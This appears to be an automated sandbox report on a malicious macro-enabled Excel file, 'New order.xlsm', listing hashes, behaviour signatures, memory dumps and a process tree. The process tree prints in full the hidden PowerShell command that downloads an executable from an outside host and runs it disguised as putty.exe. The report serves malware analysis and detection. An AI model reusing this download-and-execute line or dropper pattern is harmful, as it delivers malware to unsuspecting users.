Analysis

  • max time kernel
    144s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    09-07-2020 18:32

General

  • Target

    New order.xlsm

  • Size

    92KB

  • MD5

    2433e76542036ab53b138a98eeda548a

  • SHA1

    fa75a6ce57ec974345eb05a9d5e587a1eef772be

  • SHA256

    148a026124126abf74c390c69fbd0bcebce06b600c6a35630cdce29a85a765fc

  • SHA512

    3ae2f70b3d39d85d1befea180ee75815abb20349a90cf3678db2e001d5ac362f68230e30680c897e33a05a6dbc1d8a776505751da043797b15327bb38251d243

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sagc.be/svc.exe

Signatures

  • Suspicious use of WriteProcessMemory 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Executes dropped EXE 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\New order.xlsm"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    PID:4092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://sagc.be/svc.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Process spawned unexpected child process
      PID:1004
      • C:\Users\Admin\AppData\Local\Temp\putty.exe
        "C:\Users\Admin\AppData\Local\Temp\putty.exe"
        3⤵
        • Executes dropped EXE
        PID:1568
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 872
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          • Program crash
          PID:3540

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\putty.exe

  • C:\Users\Admin\AppData\Local\Temp\putty.exe

  • memory/1004-6-0x0000000000000000-mapping.dmp

  • memory/1568-7-0x0000000000000000-mapping.dmp

  • memory/1568-11-0x0000000000000000-mapping.dmp

  • memory/1568-12-0x0000000000000000-mapping.dmp

  • memory/1568-13-0x0000000000000000-mapping.dmp

  • memory/1568-14-0x0000000000000000-mapping.dmp

  • memory/1568-15-0x0000000000000000-mapping.dmp

  • memory/1568-16-0x0000000000000000-mapping.dmp

  • memory/1568-17-0x0000000000000000-mapping.dmp

  • memory/1568-18-0x0000000000000000-mapping.dmp

  • memory/1568-131-0x0000000000000000-mapping.dmp

  • memory/1568-132-0x0000000000000000-mapping.dmp

  • memory/1568-133-0x0000000000000000-mapping.dmp

  • memory/1568-134-0x0000000000000000-mapping.dmp

  • memory/1568-135-0x0000000000000000-mapping.dmp

  • memory/1568-136-0x0000000000000000-mapping.dmp

  • memory/1568-137-0x0000000000000000-mapping.dmp

  • memory/1568-138-0x0000000000000000-mapping.dmp

  • memory/3540-152-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-163-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-140-0x0000000005720000-0x0000000005721000-memory.dmp

    Filesize

    4KB

  • memory/3540-142-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-141-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-143-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-144-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-146-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-145-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-147-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-148-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-149-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-150-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-151-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-10-0x0000000004E40000-0x0000000004E41000-memory.dmp

    Filesize

    4KB

  • memory/3540-153-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-154-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-155-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-156-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-157-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-158-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-159-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-161-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-160-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-162-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-139-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-164-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-165-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-166-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-167-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-168-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-169-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-170-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-171-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-172-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-173-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-174-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-175-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-176-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-177-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-178-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-179-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-180-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-181-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/3540-182-0x0000000003280000-0x0000000003281000-memory.dmp

    Filesize

    4KB

  • memory/4092-2-0x000001FB1FA71000-0x000001FB1FA92000-memory.dmp

    Filesize

    132KB

  • memory/4092-3-0x000001FB1FA71000-0x000001FB1FA92000-memory.dmp

    Filesize

    132KB

  • memory/4092-4-0x000001FB1FA71000-0x000001FB1FA92000-memory.dmp

    Filesize

    132KB

  • memory/4092-5-0x000001FB1FA71000-0x000001FB1FA92000-memory.dmp

    Filesize

    132KB